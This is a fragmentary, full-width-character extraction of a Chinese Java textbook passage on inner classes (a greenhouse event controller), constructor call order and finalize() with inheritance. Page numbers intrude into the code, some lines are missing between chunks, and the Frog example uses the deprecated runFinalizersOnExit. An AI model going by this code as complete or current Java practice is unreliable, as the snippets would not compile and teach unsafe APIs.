    {"text": "／／ Ｔｈｉｓ ｉｓ ｊｕｓｔ ａ ｗａｙ ｔｏ ｈｏｌｄ Ｅｖｅｎｔ ｏｂｊｅｃｔｓ． ｃｌａｓｓ ＥｖｅｎｔＳｅｔ ｛ ｐｒｉｖａｔｅ Ｅｖｅｎｔ［］ ｅｖｅｎｔｓ ＝ ｎｅｗ Ｅｖｅｎｔ［１００］； ｐｒｉｖａｔｅ ｉｎｔ ｉｎｄｅｘ ＝ ０； ｐｒｉｖａｔｅ ｉｎｔ ｎｅｘｔ ＝ ０； ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄ（Ｅｖｅｎｔ ｅ） ｛ ｉｆ（ｉｎｄｅｘ ＞＝ ｅｖｅｎｔｓ．ｌｅｎｇｔｈ） ｒｅｔｕｒｎ； ／／ （Ｉｎ ｒｅａｌ ｌｉｆｅ， ｔｈｒｏｗ ｅｘｃｅｐｔｉｏｎ） ｅｖｅｎｔｓ［ｉｎｄｅｘ＋＋］ ＝ ｅ； ｝ ｐｕｂｌｉｃ Ｅｖｅｎｔ ｇｅｔＮｅｘｔ（） ｛ ｂｏｏｌｅａｎ ｌｏｏｐｅｄ ＝ ｆａｌｓｅ； ｉｎｔ ｓｔａｒｔ ＝ ｎｅｘｔ； ｄｏ ｛ ｎｅｘｔ ＝ （ｎｅｘｔ ＋ １） ％ ｅｖｅｎｔｓ．ｌｅｎｇｔｈ； ／／ Ｓｅｅ ｉｆ ｉｔ ｈａｓ ｌｏｏｐｅｄ ｔｏ ｔｈｅ ｂｅｇｉｎｎｉｎｇ： ｉｆ（ｓｔａｒｔ ＝＝ ｎｅｘｔ） ｌｏｏｐｅｄ ＝ ｔｒｕｅ； ／／ Ｉｆ ｉｔ ｌｏｏｐｓ ｐａｓｔ ｓｔａｒｔ， ｔｈｅ ｌｉｓｔ ／／ ｉｓ ｅｍｐｔｙ： １９３ ｉｆ（（ｎｅｘｔ ＝＝ （ｓｔａｒｔ ＋ １） ％ ｅｖｅｎｔｓ．ｌｅｎｇｔｈ） ＆＆ ｌｏｏｐｅｄ） ｒｅｔｕｒｎ ｎｕｌｌ； ｝ ｗｈｉｌｅ（ｅｖｅｎｔｓ［ｎｅｘｔ］ ＝＝ ｎｕｌｌ）； ｒｅｔｕｒｎ ｅｖｅｎｔｓ［ｎｅｘｔ］； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｅｍｏｖｅＣｕｒｒｅｎｔ（） ｛ ｅｖｅｎｔｓ［ｎｅｘｔ］ ＝ ｎｕｌｌ； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｏｎｔｒｏｌｌｅｒ ｛ ｐｒｉｖａｔｅ ＥｖｅｎｔＳｅｔ ｅｓ ＝ ｎｅｗ ＥｖｅｎｔＳｅｔ（）； ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄＥｖｅｎｔ（Ｅｖｅｎｔ ｃ） ｛ ｅｓ．ａｄｄ（ｃ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ Ｅｖｅｎｔ ｅ； ｗｈｉｌｅ（（ｅ ＝ ｅｓ．ｇｅｔＮｅｘｔ（）） ！ ＝ ｎｕｌｌ） ｛ ｉｆ（ｅ．ｒｅａｄｙ（）） ｛ ｅ．ａｃｔｉｏｎ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｅ．ｄｅｓｃｒｉｐｔｉｏｎ（））； ｅｓ．ｒｅｍｏｖｅＣｕｒｒｅｎｔ（）；"},
    {"text": "｝ ｝ ｝ ｝ ／／／：￣ ＥｖｅｎｔＳｅｔ 可容纳 １００ 个事件（若在这里使用来自第 ８ 章的一个“真实”集合，就不必担心它的最大尺寸，因 为它会根据情况自动改变大小）。"},
    {"text": "ｉｎｄｅｘ （索引）在这里用于跟踪下一个可用的空间，而 ｎｅｘｔ（下一个）帮 助我们寻找列表中的下一个事件，了解自己是否已经循环到头。"},
    {"text": "在对 ｇｅｔＮｅｘｔ（）的调用中，这一点是至关重 要的，因为一旦运行，Ｅｖｅｎｔ 对象就会从列表中删去（使用 ｒｅｍｏｖｅＣｕｒｒｅｎｔ（））。"},
    {"text": "作为应用程序框架的一种典型行为，ＧｒｅｅｎｈｏｕｓｅＣｏｎｔｒｏｌｓ 类是从 Ｃｏｎｔｒｏｌｌｅｒ 继承的： ／／： ＧｒｅｅｎｈｏｕｓｅＣｏｎｔｒｏｌｓ．ｊａｖａ ／／ Ｔｈｉｓ ｐｒｏｄｕｃｅｓ ａ ｓｐｅｃｉｆｉｃ ａｐｐｌｉｃａｔｉｏｎ ｏｆ ｔｈｅ ／／ ｃｏｎｔｒｏｌ ｓｙｓｔｅｍ， ａｌｌ ｉｎ ａ ｓｉｎｇｌｅ ｃｌａｓｓ． Ｉｎｎｅｒ ／／ ｃｌａｓｓｅｓ ａｌｌｏｗ ｙｏｕ ｔｏ ｅｎｃａｐｓｕｌａｔｅ ｄｉｆｆｅｒｅｎｔ ／／ ｆｕｎｃｔｉｏｎａｌｉｔｙ ｆｏｒ ｅａｃｈ ｔｙｐｅ ｏｆ ｅｖｅｎｔ． ｐａｃｋａｇｅ ｃ０７．ｃｏｎｔｒｏｌｌｅｒ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＧｒｅｅｎｈｏｕｓｅＣｏｎｔｒｏｌｓ ｅｘｔｅｎｄｓ Ｃｏｎｔｒｏｌｌｅｒ ｛ ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｌｉｇｈｔ ＝ ｆａｌｓｅ； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｗａｔｅｒ ＝ ｆａｌｓｅ； ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｔｈｅｒｍｏｓｔａｔ ＝ ＂Ｄａｙ＂； ｐｒｉｖａｔｅ ｃｌａｓｓ ＬｉｇｈｔＯｎ ｅｘｔｅｎｄｓ Ｅｖｅｎｔ ｛ ｐｕｂｌｉｃ ＬｉｇｈｔＯｎ（ｌｏｎｇ ｅｖｅｎｔＴｉｍｅ） ｛ ｓｕｐｅｒ（ｅｖｅｎｔＴｉｍｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎ（） ｛ ／／ Ｐｕｔ ｈａｒｄｗａｒｅ ｃｏｎｔｒｏｌ ｃｏｄｅ ｈｅｒｅ ｔｏ ／／ ｐｈｙｓｉｃａｌｌｙ ｔｕｒｎ ｏｎ ｔｈｅ ｌｉｇｈｔ． ｌｉｇｈｔ ＝ ｔｒｕｅ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｄｅｓｃｒｉｐｔｉｏｎ（） ｛ ｒｅｔｕｒｎ ＂Ｌｉｇｈｔ ｉｓ ｏｎ＂； ｝ ｝ ｐｒｉｖａｔｅ ｃｌａｓｓ ＬｉｇｈｔＯｆｆ ｅｘｔｅｎｄｓ Ｅｖｅｎｔ ｛ ｐｕｂｌｉｃ ＬｉｇｈｔＯｆｆ（ｌｏｎｇ ｅｖｅｎｔＴｉｍｅ） ｛ ｓｕｐｅｒ（ｅｖｅｎｔＴｉｍｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎ（） ｛ ／／ Ｐｕｔ ｈａｒｄｗａｒｅ ｃｏｎｔｒｏｌ ｃｏｄｅ ｈｅｒｅ ｔｏ ／／ ｐｈｙｓｉｃａｌｌｙ ｔｕｒｎ ｏｆｆ ｔｈｅ ｌｉｇｈｔ． ｌｉｇｈｔ ＝ ｆａｌｓｅ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｄｅｓｃｒｉｐｔｉｏｎ（） ｛ ｒｅｔｕｒｎ ＂Ｌｉｇｈｔ ｉｓ ｏｆｆ＂； ｝ ｝ ｐｒｉｖａｔｅ ｃｌａｓｓ ＷａｔｅｒＯｎ ｅｘｔｅｎｄｓ Ｅｖｅｎｔ ｛ ｐｕｂｌｉｃ ＷａｔｅｒＯｎ（ｌｏｎｇ ｅｖｅｎｔＴｉｍｅ） ｛ ｓｕｐｅｒ（ｅｖｅｎｔＴｉｍｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎ（） ｛ ／／ Ｐｕｔ ｈａｒｄｗａｒｅ ｃｏｎｔｒｏｌ ｃｏｄｅ ｈｅｒｅ ｗａｔｅｒ ＝ ｔｒｕｅ； ｝ １９５ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｄｅｓｃｒｉｐｔｉｏｎ（） ｛ ｒｅｔｕｒｎ ＂Ｇｒｅｅｎｈｏｕｓｅ ｗａｔｅｒ ｉｓ ｏｎ＂； ｝ ｝ ｐｒｉｖａｔｅ ｃｌａｓｓ ＷａｔｅｒＯｆｆ ｅｘｔｅｎｄｓ Ｅｖｅｎｔ ｛ ｐｕｂｌｉｃ ＷａｔｅｒＯｆｆ（ｌｏｎｇ ｅｖｅｎｔＴｉｍｅ） ｛ ｓｕｐｅｒ（ｅｖｅｎｔＴｉｍｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎ（） ｛ ／／ Ｐｕｔ ｈａｒｄｗａｒｅ ｃｏｎｔｒｏｌ ｃｏｄｅ ｈｅｒｅ ｗａｔｅｒ ＝ ｆａｌｓｅ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｄｅｓｃｒｉｐｔｉｏｎ（） ｛ ｒｅｔｕｒｎ ＂Ｇｒｅｅｎｈｏｕｓｅ ｗａｔｅｒ ｉｓ ｏｆｆ＂； ｝ ｝ ｐｒｉｖａｔｅ ｃｌａｓｓ ＴｈｅｒｍｏｓｔａｔＮｉｇｈｔ ｅｘｔｅｎｄｓ Ｅｖｅｎｔ ｛ ｐｕｂｌｉｃ ＴｈｅｒｍｏｓｔａｔＮｉｇｈｔ（ｌｏｎｇ ｅｖｅｎｔＴｉｍｅ） ｛ ｓｕｐｅｒ（ｅｖｅｎｔＴｉｍｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎ（） ｛ ／／ Ｐｕｔ ｈａｒｄｗａｒｅ ｃｏｎｔｒｏｌ ｃｏｄｅ ｈｅｒｅ ｔｈｅｒｍｏｓｔａｔ ＝ ＂Ｎｉｇｈｔ＂； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｄｅｓｃｒｉｐｔｉｏｎ（） ｛ ｒｅｔｕｒｎ ＂Ｔｈｅｒｍｏｓｔａｔ ｏｎ ｎｉｇｈｔ ｓｅｔｔｉｎｇ＂； ｝ ｝ ｐｒｉｖａｔｅ ｃｌａｓｓ ＴｈｅｒｍｏｓｔａｔＤａｙ ｅｘｔｅｎｄｓ Ｅｖｅｎｔ ｛ ｐｕｂｌｉｃ ＴｈｅｒｍｏｓｔａｔＤａｙ（ｌｏｎｇ ｅｖｅｎｔＴｉｍｅ） ｛ ｓｕｐｅｒ（ｅｖｅｎｔＴｉｍｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎ（） ｛ ／／ Ｐｕｔ ｈａｒｄｗａｒｅ ｃｏｎｔｒｏｌ ｃｏｄｅ ｈｅｒｅ ｔｈｅｒｍｏｓｔａｔ ＝ ＂Ｄａｙ＂； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｄｅｓｃｒｉｐｔｉｏｎ（） ｛ ｒｅｔｕｒｎ ＂Ｔｈｅｒｍｏｓｔａｔ ｏｎ ｄａｙ ｓｅｔｔｉｎｇ＂； ｝ ｝ ／／ Ａｎ ｅｘａｍｐｌｅ ｏｆ ａｎ ａｃｔｉｏｎ（） ｔｈａｔ ｉｎｓｅｒｔｓ ａ ／／ ｎｅｗ ｏｎｅ ｏｆ ｉｔｓｅｌｆ ｉｎｔｏ ｔｈｅ ｅｖｅｎｔ ｌｉｓｔ： ｐｒｉｖａｔｅ ｉｎｔ ｒｉｎｇｓ； ｐｒｉｖａｔｅ ｃｌａｓｓ Ｂｅｌｌ ｅｘｔｅｎｄｓ Ｅｖｅｎｔ ｛ ｐｕｂｌｉｃ Ｂｅｌｌ（ｌｏｎｇ ｅｖｅｎｔＴｉｍｅ） ｛ ｓｕｐｅｒ（ｅｖｅｎｔＴｉｍｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎ（） ｛ ／／ Ｒｉｎｇ ｂｅｌｌ ｅｖｅｒｙ ２ ｓｅｃｏｎｄｓ， ｒｉｎｇｓ ｔｉｍｅｓ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｉｎｇ！"},
    {"text": "ｉｆ（－－ｒｉｎｇｓ ＞ ０） ａｄｄＥｖｅｎｔ（ｎｅｗ Ｂｅｌｌ（ １９６ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（） ＋ ２０００））； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｄｅｓｃｒｉｐｔｉｏｎ（） ｛ ｒｅｔｕｒｎ ＂Ｒｉｎｇ ｂｅｌｌ＂； ｝ ｝ ｐｒｉｖａｔｅ ｃｌａｓｓ Ｒｅｓｔａｒｔ ｅｘｔｅｎｄｓ Ｅｖｅｎｔ ｛ ｐｕｂｌｉｃ Ｒｅｓｔａｒｔ（ｌｏｎｇ ｅｖｅｎｔＴｉｍｅ） ｛ ｓｕｐｅｒ（ｅｖｅｎｔＴｉｍｅ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎ（） ｛ ｌｏｎｇ ｔｍ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； ／／ Ｉｎｓｔｅａｄ ｏｆ ｈａｒｄ－ｗｉｒｉｎｇ， ｙｏｕ ｃｏｕｌｄ ｐａｒｓｅ ／／ ｃｏｎｆｉｇｕｒａｔｉｏｎ ｉｎｆｏｒｍａｔｉｏｎ ｆｒｏｍ ａ ｔｅｘｔ ／／ ｆｉｌｅ ｈｅｒｅ： ｒｉｎｇｓ ＝ ５； ａｄｄＥｖｅｎｔ（ｎｅｗ ＴｈｅｒｍｏｓｔａｔＮｉｇｈｔ（ｔｍ））； ａｄｄＥｖｅｎｔ（ｎｅｗ ＬｉｇｈｔＯｎ（ｔｍ ＋ １０００））； ａｄｄＥｖｅｎｔ（ｎｅｗ ＬｉｇｈｔＯｆｆ（ｔｍ ＋ ２０００））； ａｄｄＥｖｅｎｔ（ｎｅｗ ＷａｔｅｒＯｎ（ｔｍ ＋ ３０００））； ａｄｄＥｖｅｎｔ（ｎｅｗ ＷａｔｅｒＯｆｆ（ｔｍ ＋ ８０００））； ａｄｄＥｖｅｎｔ（ｎｅｗ Ｂｅｌｌ（ｔｍ ＋ ９０００））； ａｄｄＥｖｅｎｔ（ｎｅｗ ＴｈｅｒｍｏｓｔａｔＤａｙ（ｔｍ ＋ １００００））； ／／ Ｃａｎ ｅｖｅｎ ａｄｄ ａ Ｒｅｓｔａｒｔ ｏｂｊｅｃｔ！ ａｄｄＥｖｅｎｔ（ｎｅｗ Ｒｅｓｔａｒｔ（ｔｍ ＋ ２００００））； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｄｅｓｃｒｉｐｔｉｏｎ（） ｛ ｒｅｔｕｒｎ ＂Ｒｅｓｔａｒｔｉｎｇ ｓｙｓｔｅｍ＂； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＧｒｅｅｎｈｏｕｓｅＣｏｎｔｒｏｌｓ ｇｃ ＝ ｎｅｗ ＧｒｅｅｎｈｏｕｓｅＣｏｎｔｒｏｌｓ（）； ｌｏｎｇ ｔｍ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； ｇｃ．ａｄｄＥｖｅｎｔ（ｇｃ．ｎｅｗ Ｒｅｓｔａｒｔ（ｔｍ））； ｇｃ．ｒｕｎ（）；"},
    {"text": "｝ ｝ ／／／：￣ 注意 ｌｉｇｈｔ（灯光）、ｗａｔｅｒ（供水）、ｔｈｅｒｍｏｓｔａｔ（调温）以及 ｒｉｎｇｓ 都隶属于外部类 ＧｒｅｅｎｈｏｕｓｅＣｏｎｔｒｏｌｓ，所以内部类可以毫无阻碍地访问那些字段。"},
    {"text": "请注意内部类看起 来为什么总是类似于多重继承：Ｂｅｌｌ 拥有 Ｅｖｅｎｔ 的所有方法，而且也拥有外部类 ＧｒｅｅｎｈｏｕｓｅＣｏｎｔｒｏｌｓ 的所 有方法。"},
    {"text": "当然，一种更灵活的做法是避免进行“硬编 码”，而是从一个文件里读入它们（第 １０ 章的一个练习会要求大家修改这个例子，从而达到这个目标）。"},
    {"text": "由 于 Ｒｅｓｔａｒｔ（）仅仅是另一个 Ｅｖｅｎｔ 对象，所以也可以在 Ｒｅｓｔａｒｔ．ａｃｔｉｏｎ（）里添加一个 Ｒｅｓｔａｒｔ 对象，使系统 能够定期重启。 在 ｍａｉｎ（）中，我们需要做的全部事情就是创建一个 ＧｒｅｅｎｈｏｕｓｅＣｏｎｔｒｏｌｓ 对象，并添加一个 Ｒｅｓｔａｒｔ 对象，令其工作起来。"},
    {"text": "尽管构 建器并不具有多形性（即便可以使用一种“虚拟构建器”——将在第 １１ 章介绍），但仍然非常有必要理解构 建器如何在复杂的分级结构中以及随同多形性使用。"},
    {"text": "在衍生类的构建器主体中，若我们没有明确指定对一个基础类构建器的调用，它就会“默默”地调用 默认构建器。 如果不存在默认构建器，编译器就会报告一个错误（若某个类没有构建器，编译器会自动组织 一个默认构建器）。"},
    {"text": "下面让我们看看一个例子，它展示了按构建顺序进行合成、继承以及多形性的效果： ／／： Ｓａｎｄｗｉｃｈ．ｊａｖａ ／／ Ｏｒｄｅｒ ｏｆ ｃｏｎｓｔｒｕｃｔｏｒ ｃａｌｌｓ ｃｌａｓｓ Ｍｅａｌ ｛ Ｍｅａｌ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｍｅａｌ（）＂）；"},
    {"text": "｝ ｝ ｃｌａｓｓ Ｂｒｅａｄ ｛ Ｂｒｅａｄ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｒｅａｄ（）＂）； ｝ ｝ ｃｌａｓｓ Ｃｈｅｅｓｅ ｛ Ｃｈｅｅｓｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｈｅｅｓｅ（）＂）； ｝ ｝ ｃｌａｓｓ Ｌｅｔｔｕｃｅ ｛ Ｌｅｔｔｕｃｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｌｅｔｔｕｃｅ（）＂）； ｝ ｝ ｃｌａｓｓ Ｌｕｎｃｈ ｅｘｔｅｎｄｓ Ｍｅａｌ ｛ Ｌｕｎｃｈ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｌｕｎｃｈ（）＂）； ｝ ｝ ｃｌａｓｓ ＰｏｒｔａｂｌｅＬｕｎｃｈ ｅｘｔｅｎｄｓ Ｌｕｎｃｈ ｛ ＰｏｒｔａｂｌｅＬｕｎｃｈ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＰｏｒｔａｂｌｅＬｕｎｃｈ（）＂）； ｝ ｝ ｃｌａｓｓ Ｓａｎｄｗｉｃｈ ｅｘｔｅｎｄｓ ＰｏｒｔａｂｌｅＬｕｎｃｈ ｛ Ｂｒｅａｄ ｂ ＝ ｎｅｗ Ｂｒｅａｄ（）； １９８ Ｃｈｅｅｓｅ ｃ ＝ ｎｅｗ Ｃｈｅｅｓｅ（）； Ｌｅｔｔｕｃｅ ｌ ＝ ｎｅｗ Ｌｅｔｔｕｃｅ（）； Ｓａｎｄｗｉｃｈ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓａｎｄｗｉｃｈ（）＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｎｅｗ Ｓａｎｄｗｉｃｈ（）；"},
    {"text": "在 ｍａｉｎ（）里创建了一个 Ｓａｎｄｗｉｃｈ 对象后，输出结果如下： Ｍｅａｌ（） Ｌｕｎｃｈ（） ＰｏｒｔａｂｌｅＬｕｎｃｈ（） Ｂｒｅａｄ（） Ｃｈｅｅｓｅ（） Ｌｅｔｔｕｃｅ（） Ｓａｎｄｗｉｃｈ（） 这意味着对于一个复杂的对象，构建器的调用遵照下面的顺序： （１） 调用基础类构建器。"},
    {"text": "此外，所有成员对象（亦即通过合成方法置 于类内的对象）在类内进行定义的时候（比如上例中的 ｂ，ｃ 和 ｌ），由于我们应尽可能地对它们进行初始 化，所以也应保证构建器内部的所有成员均为有效。"},
    {"text": "但在进行初始化的 时候，必须覆盖衍生类中的 ｆｉｎａｌｉｚｅ（）方法——如果已经设计了某个特殊的清除进程，要求它必须作为垃圾 收集的一部分进行。"},
    {"text": "下面这个例子便是明证： ／／： Ｆｒｏｇ．ｊａｖａ ／／ Ｔｅｓｔｉｎｇ ｆｉｎａｌｉｚｅ ｗｉｔｈ ｉｎｈｅｒｉｔａｎｃｅ ｃｌａｓｓ ＤｏＢａｓｅＦｉｎａｌｉｚａｔｉｏｎ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｂｏｏｌｅａｎ ｆｌａｇ ＝ ｆａｌｓｅ；"},
    {"text": "｝ １９９ ｃｌａｓｓ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｛ Ｓｔｒｉｎｇ ｓ； Ｃｈａｒａｃｔｅｒｉｓｔｉｃ（Ｓｔｒｉｎｇ ｃ） ｛ ｓ ＝ ｃ； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃｒｅａｔｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ＂ ＋ ｓ）； ｝ ｐｒｏｔｅｃｔｅｄ ｖｏｉｄ ｆｉｎａｌｉｚｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｆｉｎａｌｉｚｉｎｇ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ＂ ＋ ｓ）； ｝ ｝ ｃｌａｓｓ ＬｉｖｉｎｇＣｒｅａｔｕｒｅ ｛ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｐ ＝ ｎｅｗ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ（＂ｉｓ ａｌｉｖｅ＂）； ＬｉｖｉｎｇＣｒｅａｔｕｒｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＬｉｖｉｎｇＣｒｅａｔｕｒｅ（）＂）； ｝ ｐｒｏｔｅｃｔｅｄ ｖｏｉｄ ｆｉｎａｌｉｚｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ＬｉｖｉｎｇＣｒｅａｔｕｒｅ ｆｉｎａｌｉｚｅ＂）； ／／ Ｃａｌｌ ｂａｓｅ－ｃｌａｓｓ ｖｅｒｓｉｏｎ ＬＡＳＴ！ ｉｆ（ＤｏＢａｓｅＦｉｎａｌｉｚａｔｉｏｎ．ｆｌａｇ） ｔｒｙ ｛ ｓｕｐｅｒ．ｆｉｎａｌｉｚｅ（）； ｝ ｃａｔｃｈ（Ｔｈｒｏｗａｂｌｅ ｔ） ｛｝ ｝ ｝ ｃｌａｓｓ Ａｎｉｍａｌ ｅｘｔｅｎｄｓ ＬｉｖｉｎｇＣｒｅａｔｕｒｅ ｛ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｐ ＝ ｎｅｗ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ（＂ｈａｓ ｈｅａｒｔ＂）； Ａｎｉｍａｌ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａｎｉｍａｌ（）＂）； ｝ ｐｒｏｔｅｃｔｅｄ ｖｏｉｄ ｆｉｎａｌｉｚｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａｎｉｍａｌ ｆｉｎａｌｉｚｅ＂）； ｉｆ（ＤｏＢａｓｅＦｉｎａｌｉｚａｔｉｏｎ．ｆｌａｇ） ｔｒｙ ｛ ｓｕｐｅｒ．ｆｉｎａｌｉｚｅ（）； ｝ ｃａｔｃｈ（Ｔｈｒｏｗａｂｌｅ ｔ） ｛｝ ｝ ｝ ｃｌａｓｓ Ａｍｐｈｉｂｉａｎ ｅｘｔｅｎｄｓ Ａｎｉｍａｌ ｛ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ ｐ ＝ ｎｅｗ Ｃｈａｒａｃｔｅｒｉｓｔｉｃ（＂ｃａｎ ｌｉｖｅ ｉｎ ｗａｔｅｒ＂）； Ａｍｐｈｉｂｉａｎ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａｍｐｈｉｂｉａｎ（）＂）； ｝ ｐｒｏｔｅｃｔｅｄ ｖｏｉｄ ｆｉｎａｌｉｚｅ（） ｛ ２００ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａｍｐｈｉｂｉａｎ ｆｉｎａｌｉｚｅ＂）； ｉｆ（ＤｏＢａｓｅＦｉｎａｌｉｚａｔｉｏｎ．ｆｌａｇ） ｔｒｙ ｛ ｓｕｐｅｒ．ｆｉｎａｌｉｚｅ（）； ｝ ｃａｔｃｈ（Ｔｈｒｏｗａｂｌｅ ｔ） ｛｝ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｆｒｏｇ ｅｘｔｅｎｄｓ Ａｍｐｈｉｂｉａｎ ｛ Ｆｒｏｇ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｆｒｏｇ（）＂）； ｝ ｐｒｏｔｅｃｔｅｄ ｖｏｉｄ ｆｉｎａｌｉｚｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｆｒｏｇ ｆｉｎａｌｉｚｅ＂）； ｉｆ（ＤｏＢａｓｅＦｉｎａｌｉｚａｔｉｏｎ．ｆｌａｇ） ｔｒｙ ｛ ｓｕｐｅｒ．ｆｉｎａｌｉｚｅ（）； ｝ ｃａｔｃｈ（Ｔｈｒｏｗａｂｌｅ ｔ） ｛｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ！ ＝ ０ ＆＆ ａｒｇｓ［０］．ｅｑｕａｌｓ（＂ｆｉｎａｌｉｚｅ＂）） ＤｏＢａｓｅＦｉｎａｌｉｚａｔｉｏｎ．ｆｌａｇ ＝ ｔｒｕｅ； ｅｌｓｅ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｎｏｔ ｆｉｎａｌｉｚｉｎｇ ｂａｓｅｓ＂）； ｎｅｗ Ｆｒｏｇ（）； ／／ Ｉｎｓｔａｎｔｌｙ ｂｅｃｏｍｅｓ ｇａｒｂａｇｅ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｂｙｅ！"},
    {"text": "／／ Ｍｕｓｔ ｄｏ ｔｈｉｓ ｔｏ ｇｕａｒａｎｔｅｅ ｔｈａｔ ａｌｌ ／／ ｆｉｎａｌｉｚｅｒｓ ｗｉｌｌ ｂｅ ｃａｌｌｅｄ： Ｓｙｓｔｅｍ．ｒｕｎＦｉｎａｌｉｚｅｒｓＯｎＥｘｉｔ（ｔｒｕｅ）；"},
    {"text": "｝ ｝ ／／／：￣ ＤｏＢａｓｅｆｉｎａｌｉｚａｔｉｏｎ 类只是简单地容纳了一个标志，向分级结构中的每个类指出是否应调用 ｓｕｐｅｒ．ｆｉｎａｌｉｚｅ（）。"},
    {"text": "每个被覆盖的 ｆｉｎａｌｉｚｅ（）至少要拥有对 ｐｒｏｔｅｃｔｅｄ 成员的访问权力，因为 Ｏｂｊｅｃｔ 类中的 ｆｉｎａｌｉｚｅ（）方法具 有 ｐｒｏｔｅｃｔｅｄ 属性，而编译器不允许我们在继承过程中消除访问权限（“友好的”比“受到保护的”具有更 小的访问权限）。"},
    {"text": "请记住垃圾收集 （特别是收尾工作）可能不会针对任何特定的对象发生，所以为了强制采取这一行动， Ｓｙｓｔｅｍ．ｒｕｎＦｉｎａｌｉｚｅｒｓＯｎＥｘｉｔ（ｔｒｕｅ）添加了额外的开销，以保证收尾工作的正常进行。"},
